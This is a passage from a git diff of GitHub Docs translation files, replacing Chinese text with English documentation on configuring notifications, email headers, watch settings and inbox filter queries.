-| `From` 地址 | 此地址始终是 {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'网站管理员配置的无需回复电子邮件地址'{% endif %}。 | -| `To` 字段 | 此字段直接连接到线程。{% ifversion not ghae %} 如果您回复电子邮件，将在对话中添加一个新的评论。{% endif %} -| `Cc` 地址 | 如果您订阅了对话，{% data variables.product.product_name %} 将会 `Cc` 给您。 第二个 `Cc` 电子邮件地址与通知原因匹配。 这些通知原因的后缀是 {% data variables.notifications.cc_address %}。 可能的通知原因包括：
                    • `assign`：您被分配到议题或拉取请求。
                    • `author`：您创建了议题或拉取请求。
                    • `ci_activity`：当 {% data variables.product.prodname_actions %} 工作流程运行被请求或完成时。
                    • `comment`：您评论了议题或拉取请求。
                    • `manual`：您手动订阅的议题或拉取请求有更新。
                    • `mention`：您提及了议题或拉取请求。
                    • `push`：有人提交了您订阅的拉取请求。
                    • `review_requested`：您或您所在的团队已请求审查拉取请求。
                      • {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
                    • `security_alert`：{% data variables.product.prodname_dotcom %} 检测到您要接收其漏洞警报的仓库中存在漏洞。
                      • {% endif %}
                    • `state_change`：您订阅的议题或拉取请求已关闭或打开。
                    • `subscribed`：您查看的仓库有更新。
                    • `team_mention`：您所属的团队在议题或拉取请求中被提及。
                    • `your_activity`：您打开、评论或关闭了议题或拉取请求。
                    | -| `mailing list` 字段 | 此字段识别仓库名称及其所有者。 此地址的格式始终是 `<仓库名称>.<仓库所有者>.{% data variables.command_line.backticks %}`。 |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `X-GitHub-Severity` 字段 | {% data reusables.repositories.security-alerts-x-github-severity %} 可能的严重程度等级包括：
                    • `低`
                    • `中`
                    • `高`
                    • `严重`
                    更多信息请参阅“[关于易受攻击的依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。 -{% endif %} +| Header | Information | +| --- | --- | +| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. | +| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} | +| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are:
                    • `assign`: You were assigned to an issue or pull request.
                    • `author`: You created an issue or pull request.
                    • `ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.
                    • `comment`: You commented on an issue or pull request.
                    • `manual`: There was an update to an issue or pull request you manually subscribed to.
                    • `mention`: You were mentioned on an issue or pull request.
                    • `push`: Someone committed to a pull request you're subscribed to.
                    • `review_requested`: You or a team you're a member of was requested to review a pull request.
                      • {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
                    • `security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.
                      • {% endif %}
                    • `state_change`: An issue or pull request you're subscribed to was either closed or opened.
                    • `subscribed`: There was an update in a repository you're watching.
                    • `team_mention`: A team you belong to was mentioned on an issue or pull request.
                    • `your_activity`: You opened, commented on, or closed an issue or pull request.
                    | +| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `..{% data variables.command_line.backticks %}`. |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:
                    • `low`
                    • `moderate`
                    • `high`
                    • `critical`
                    For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." |{% endif %} -## 选择通知设置 +## Choosing your notification settings {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. 在通知设置页面上，选择在以下情况下如何接收通知： - - 在您关注的仓库或团队讨论或参与的对话中发生了更新。 更多信息请参阅“[关于参与和关注通知](#about-participating-and-watching-notifications)”。 - - 您获得了新仓库的访问权限或加入了新团队。 更多信息请参阅“[自动关注](#automatic-watching)”。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} - - 您的仓库中有新的 {% if page.version == 'dotcom' %} {% data variables.product.prodname_dependabot_alerts %} {% else %} 安全警报 {% endif %}。 更多信息请参阅“[{% data variables.product.prodname_dependabot_alerts %} 通知选项](#dependabot-alerts-notification-options)”。 {% endif %} {% ifversion fpt or ghec %} - - 在使用 {% data variables.product.prodname_actions %} 设置的仓库上有工作流程运行更新。 更多信息请参阅“[{% data variables.product.prodname_actions %} 通知选项](#github-actions-notification-options)”。{% endif %} +3. On the notifications settings page, choose how you receive notifications when: + - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." + - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)."{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} + - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% endif %} {% ifversion fpt or ghec %} + - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} + - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} -## 自动关注 +## Automatic watching -默认情况下，每当您获得新仓库的访问权限时，您将会自动开始关注该仓库。 每当您加入新团队时，您都会自动订阅更新，并在该团队被 @提及时收到通知。 如果不想自动订阅，您可以取消选择自动关注选项。 +By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options. - ![自动关注选项](/assets/images/help/notifications-v2/automatic-watching-options.png) + ![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png) -如果禁用了“Automatically watch repositories（自动关注仓库）”，您将不会自动关注自己拥有的仓库。 您必须导航到仓库页面，然后选择关注选项。 +If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. -## 配置单个仓库的关注设置 +## Configuring your watch settings for an individual repository -您可以选择关注还是取消关注单个仓库。 您也可以选择接收{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}特定事件类型，如 {% data reusables.notifications-v2.custom-notification-types %}（如已对仓库启用）{% else %}新版本{% endif %}的通知，或者完全忽略单个仓库。 +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) {% else %}new releases{% endif %}, or completely ignore an individual repository. {% data reusables.repositories.navigate-to-repo %} -2. 在右上角，选择“Watch（关注）”下拉菜单以单击关注选项。 +2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. {% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} - ![仓库下拉菜单中的关注选项](/assets/images/help/notifications-v2/watch-repository-options-custom.png) + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png) - **Custom（自定义）** 选项可用于进一步自定义通知，以便除了参与和 @提及之外，您仅在仓库中发生特定事件时才收到通知。 + The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions. {% else %} - ![仓库下拉菜单中的关注选项](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} {% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} - ![仓库下拉菜单中的自定义关注选项](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) 如果选择“Issues（议题）”，您将收到仓库中每个议题（包括在您选择此选项之前存在的议题）的更新通知并订阅它们。 如果您被此仓库中的拉取请求 @提及，则除了收到有关议题的通知外，您还将收到有关该特定拉取请求更新的通知并订阅它们。 + ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) + If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. {% endif %} -## 选择接收组织的电子邮件通知的位置 +## Choosing where your organization’s email notifications are sent -如果您属于某个组织，您可以选择要接收组织活动通知的电子邮件帐户。 例如，如果您属于某个工作组织，您可能希望通知发送到您的工作电子邮件地址，而不是您的个人地址。 +If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. {% data reusables.notifications-v2.email-notification-caveats %} {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. 在“Default notification email（默认通知电子邮件）”下，选择要接收通知的电子邮件地址。 - ![默认通知电子邮件地址下拉菜单](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) -4. 单击 **Save（保存）**。 +3. Under "Default notification email", select the email address you'd like notifications sent to. +![Default notification email address drop-down](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) +4. Click **Save**. -### 自定义每个组织的电子邮件路由 +### Customizing email routes per organization -如果您是多个组织的成员，您可以配置每个组织发送通知到任何{% ifversion fpt or ghec %} 您已验证的电子邮件地址{% else %} 帐户的电子邮件地址{% endif %}。 {% ifversion fpt or ghec %} 更多信息请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。{% endif %} +If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. 在“Custom routing（自定义路由）”下，在列表中找到您组织的名称。 - ![组织和电子邮件地址列表](/assets/images/help/notifications/notifications_org_emails.png) -4. 在要更改的电子邮件地址旁边单击 **Edit（编辑）**。 ![编辑组织的电子邮件地址](/assets/images/help/notifications/notifications_edit_org_emails.png) -5. 选择一个经验证电子邮件地址，然后单击 **Save（保存）**。 - ![切换每个组织的电子邮件地址](/assets/images/help/notifications/notifications_switching_org_email.gif) +3. Under "Custom routing," find your organization's name in the list. +![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png) +4. Click **Edit** next to the email address you want to change. +![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png) +5. Select one of your verified email addresses, then click **Save**. +![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif) {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot_alerts %} 通知选项 +## {% data variables.product.prodname_dependabot_alerts %} notification options {% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} -有关您可获得的通知递送方法的更多信息，以及有关优化 {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}安全警报{% else %}通知的建议{% endif %}，请参阅“[配置漏洞依赖项的通知](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)”。 +For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} {% ifversion fpt or ghes or ghec %} -## {% data variables.product.prodname_actions %} 通知选项 +## {% data variables.product.prodname_actions %} notification options -选择您希望如何接收所关注仓库的工作流程运行更新，通过 {% data variables.product.prodname_actions %} 设置。 您也可以选择仅接收关于失败的工作流程运行的通知。 +Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs. - ![{% data variables.product.prodname_actions %} 的通知选项](/assets/images/help/notifications-v2/github-actions-notification-options.png) + ![Notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png) + +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} +## Organization alerts notification options + +If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. {% endif %} {% ifversion fpt or ghes or ghec %} -## 使用 {% data variables.product.prodname_mobile %} 管理通知设置 +## Managing your notification settings with {% data variables.product.prodname_mobile %} -安装 {% data variables.product.prodname_mobile %} 时，您将自动选择 web 通知。 在应用程序中，您可以为以下事件启用推送通知。 -- 直接提及 -- 分配到议题或拉取请求 -- 请求审核拉取请求 -- 请求批准部署 +When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. +- Direct mentions +- Assignments to issues or pull requests +- Requests to review a pull request +- Requests to approve a deployment -您还可以安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知。 +You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. {% data reusables.mobile.push-notifications-on-ghes %} -### 使用 {% data variables.product.prodname_ios %} 管理通知设置 +### Managing your notification settings with {% data variables.product.prodname_ios %} -1. 在底部菜单中，单击 **Profile（个人资料）**。 -2. 要查看设置，请点击 {% octicon "gear" aria-label="The Gear icon" %}。 -3. 要更新通知设置，请点击 **Notifications（通知）** ，然后使用切换来启用或禁用首选类型的推送通知。 -4. （可选）要安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知，请点击 **Working Hours（工作时间）**，使用 **Custom working hours（自定义工作时间）** 切换，然后选择何时接收推送通知。 +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. -### 使用 {% data variables.product.prodname_android %} 管理通知设置 +### Managing your notification settings with {% data variables.product.prodname_android %} -1. 在底部菜单中，单击 **Profile（个人资料）**。 -2. 要查看设置，请点击 {% octicon "gear" aria-label="The Gear icon" %}。 -3. 要更新通知设置，请点击 **Configure Notifications（配置通知）** ，然后使用切换来启用或禁用首选类型的推送通知。 -4. （可选）要安排 {% data variables.product.prodname_mobile %} 何时向移动设备发送推送通知，请点击 **Working Hours（工作时间）**，使用 **Custom working hours（自定义工作时间）** 切换，然后选择何时接收推送通知。 +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. -## 使用 {% data variables.product.prodname_mobile %} 配置个别仓库的关注设置 +## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} -您可以选择关注还是取消关注单个仓库。 您也可以选择接收{% ifversion fpt or ghec %}特定事件类型，如议题、拉取请求、讨论（如已对仓库启用）以及{% endif %}新版本的通知，或者完全忽略单个仓库。 +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. -1. 在 {% data variables.product.prodname_mobile %} 上，导航到仓库的主页面。 -2. 点击 **Watch（关注）**。 ![{% data variables.product.prodname_mobile %} 上的关注按钮](/assets/images/help/notifications-v2/mobile-watch-button.png) -3. 要选择接收通知的活动，请点击首选的关注设置。 ![{% data variables.product.prodname_mobile %} 中的关注设置下拉菜单](/assets/images/help/notifications-v2/mobile-watch-settings.png) +1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. +2. Tap **Watch**. + ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) +3. To choose what activities you receive notifications for, tap your preferred watch settings. + ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) {% endif %} diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md index a74a339c29..0b8710d460 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md @@ -1,6 +1,6 @@ --- -title: 从收件箱管理通知 -intro: '使用收件箱快速分类并在电子邮件{% ifversion fpt or ghes or ghec %}与手机{% endif %}之间同步您的通知。' +title: Managing notifications from your inbox +intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.' redirect_from: - /articles/marking-notifications-as-read - /articles/saving-notifications-for-later @@ -13,103 +13,102 @@ versions: ghec: '*' topics: - Notifications -shortTitle: 从收件箱管理 +shortTitle: Manage from your inbox --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## 关于收件箱 +## About your inbox {% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)”。 +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% endif %} -要访问通知收件箱，请在任意页面的右上角单击 {% octicon "bell" aria-label="The notifications bell" %}。 +To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. - ![表示任何未读消息的通知](/assets/images/help/notifications/notifications_general_existence_indicator.png) + ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) -收件箱显示您尚未取消订阅或标记为**完成**的所有通知。您可以使用过滤器自定义收件箱，使之最适合您的工作流程，查看所有通知或只查看未读通知，对通知分组通知以获取快速概览。 +Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview. - ![收件箱视图](/assets/images/help/notifications-v2/inbox-view.png) + ![inbox view](/assets/images/help/notifications-v2/inbox-view.png) -默认情况下，您的收件箱将显示已读和未读通知。 如果只想查看未读通知，请单击 **Unread（未读）**或使用 `is:unread` 查询。 +By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query. - ![未读收件箱视图](/assets/images/help/notifications-v2/unread-inbox-view.png) + ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png) -## 分类选项 +## Triaging options -有多个选项可对收件箱中的通知进行分类。 +You have several options for triaging notifications from your inbox. -| 分类选项 | 描述 | -| ---- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 保存 | 保存通知供以后查看。 要保存通知，在通知右侧单击 {% octicon "bookmark" aria-label="The bookmark icon" %}。

                    保存的通知无限期保存，可单击侧边栏中的 **Saved（已保存）** 或通过 `is:saved` 查询查看。 如果您保存的通知超过5个月并且变成未保存，通知将在一天内从收件箱消失。 | -| 已完成 | 将通知标记为已完成，并从收件箱中删除通知。 您可以单击侧边栏中的 **Done（完成）**或通过 `is:done` 查询来看到所有已完成的通知。 标记为 **Done（完成）**的通知将保存 5 个月。 | -| 取消订阅 | 自动从收件箱中删除通知并退订对话，仅当您被@提及、您所在的团队被@提及或者请求您进行审查时才会收到通知。 | -| 读取 | 将通知标记为已读。 要在收件箱中只查看已读通知，可使用 `is:read` 查询。 此查询不包含标记为 **Done（完成）**的通知。 | -| 未读 | 将通知标记为未读。 要在收件箱中只查看未读通知，可使用 `is:unread` 查询。 | +| Triaging option | Description | +|-----------------|-------------| +| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}.

                    Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. | +| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months. +| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review. +| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**. +| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. | -要查看可用的键盘快捷键，请参阅“[键盘快捷键](/github/getting-started-with-github/keyboard-shortcuts#notifications)”。 +To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)." -在选择分类选项之前，您可以先预览通知的详细信息并进行调查。 更多信息请参阅“[对单个通知进行分类](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)”。 +Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)." -## 同时对多种通知分类 +## Triaging multiple notifications at the same time -要一次对多种通知分类，请选择相关通知并使用 {% octicon "kebab-horizontal" aria-label="The edit icon" %} 下拉列表以选择分类选项。 +To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option. -![带有分类选项和选定通知的下拉菜单](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) +![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) -## 默认通知过滤器 +## Default notification filters -默认情况下，收件箱中有针对您被分配任务、参与帖子、请求审查拉取请求的过滤器，或者针对您的用户名被直接 @提及或您所属团队被 @提及的过滤器。 +By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned. - ![默认自定义过滤器](/assets/images/help/notifications-v2/default-filters.png) + ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png) -## 使用自定义过滤器自定义收件箱 +## Customizing your inbox with custom filters -您可以添加最多 15 个自定义过滤器。 +You can add up to 15 of your own custom filters. {% data reusables.notifications.access_notifications %} -2. 若要打开过滤器设置，在左侧边栏的“Filters（过滤器）”旁边，单击 {% octicon "gear" aria-label="The Gear icon" %}。 +2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}. {% tip %} - **提示：**您可以通过在收件箱视图中创建查询并单击**Save（保存）**快速预览过滤器收件箱结果， 这将打开自定义过滤器设置。 + **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings. {% endtip %} -3. 为过滤器和过滤器查询添加名称。 例如，如果只想看特定仓库的通知，可以使用查询 `repo:octocat/open-source-project-name reason:participating` 创建一个过滤器。 您也可以用原生表情键盘添加表情符号。 有关受支持的搜索查询的列表，请参阅“[支持的自定义过滤器查询](#supported-queries-for-custom-filters)”。 +3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)." - ![自定义过滤器示例](/assets/images/help/notifications-v2/custom-filter-example.png) + ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png) -4. 单击 **Create（创建）**。 +4. Click **Create**. -## 自定义过滤器限制 +## Custom filter limitations -自定义过滤器当前不支持： - - 收件箱中的全文搜索，包括搜索拉取请求或议题标题。 - - 区分 `is:issue`、`is:pr` 及 `is:pull-request` 查询过滤器。 这些查询将返回议题和拉取请求。 - - 创建超过 15 个自定义过滤器。 - - 更改默认过滤器或其顺序。 - - 使用 `NOT` 或 `-QUALIFIER` 进行[排除](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results)搜索。 +Custom filters do not currently support: + - Full text search in your inbox, including searching for pull request or issue titles. + - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests. + - Creating more than 15 custom filters. + - Changing the default filters or their order. + - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`. -## 支持的自定义过滤器查询 +## Supported queries for custom filters -以下是您可以使用的过滤器类型： - - 使用 `repo:` 按仓库过滤 - - 使用 `is:` 按讨论类型过滤 - - 使用 `reason:` 按通知原因过滤{% ifversion fpt or ghec %} - - 使用 `author:` 按通知作者过滤 - - 使用 `org:` 按组织过滤{% endif %} +These are the types of filters that you can use: + - Filter by repository with `repo:` + - Filter by discussion type with `is:` + - Filter by notification reason with `reason:`{% ifversion fpt or ghec %} + - Filter by notification author with `author:` + - Filter by organization with `org:`{% endif %} -### 支持的 `repo:` 查询 +### Supported `repo:` queries -要添加 `repo:` 过滤器，您必须在查询中包含仓库的所有者：`repo:owner/repository`。 所有者是拥有触发通知的 {% data variables.product.prodname_dotcom %} 资产的组织或用户。 例如，`repo:octo-org/octo-repo` 将会显示在 octo-org 组织内的 octo-repo 仓库中触发的通知。 +To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization. -### 支持的 `is:` 查询 +### Supported `is:` queries -要在 {% data variables.product.product_location %} 上过滤特定活动的通知，您可以使用 `is` 查询。 For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot %} alerts, use `is:repository-vulnerability-alert`{% endif %}. +To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}. - `is:check-suite` - `is:commit` @@ -123,67 +122,67 @@ shortTitle: 从收件箱管理 - `is:discussion`{% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -有关减少 {% data variables.product.prodname_dependabot_alerts %} 通知干扰的信息，请参阅“[配置漏洞依赖项的通知](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)”。 +For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} -您还可以使用 `is:` 查询来描述如何对通知进行分类。 +You can also use the `is:` query to describe how the notification was triaged. - `is:saved` - `is:done` - `is:unread` - `is:read` -### 支持的 `reason:` 查询 +### Supported `reason:` queries -要根据收到更新的原因过滤通知，您可以使用 `reason:` 查询。 例如，要查看当您（或您所属团队）被请求审查拉取请求时的通知，请使用 `reason:review-requested`。 更多信息请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)”。 +To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)." -| 查询 | 描述 | -| ------------------------- | ------------------------------------------------------------------------ | -| `reason:assign` | 分配给您的议题或拉取请求有更新时。 | -| `reason:author` | 当您打开拉取请求或议题并且有更新或新评论时。 | -| `reason:comment` | 当您评论了议题、拉取请求或团队讨论时。 | -| `reason:participating` | 当您评论了议题、拉取请求或团队讨论或者被@提及时。 | -| `reason:invitation` | 当您被邀请加入团队、组织或仓库时。 | -| `reason:manual` | 当您在尚未订阅的议题或拉取请求上单击 **Subscribe（订阅）**时。 | -| `reason:mention` | 您被直接@提及。 | -| `reason:review-requested` | 您或您所属的团队被请求审查拉取请求。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `reason:security-alert` | 为仓库发出安全警报时。{% endif %} -| `reason:state-change` | 当拉取请求或议题的状态改变时。 例如，议题已关闭或拉取请求合并时。 | -| `reason:team-mention` | 您所在的团队被@提及时。 | -| `reason:ci-activity` | 当仓库有 CI 更新时，例如新的工作流程运行状态。 | +| Query | Description | +|-----------------|-------------| +| `reason:assign` | When there's an update on an issue or pull request you've been assigned to. +| `reason:author` | When you opened a pull request or issue and there has been an update or new comment. +| `reason:comment`| When you commented on an issue, pull request, or team discussion. +| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned. +| `reason:invitation` | When you're invited to a team, organization, or repository. +| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to. +| `reason:mention` | You were directly @mentioned. +| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `reason:security-alert` | When a security alert is issued for a repository.{% endif %} +| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged. +| 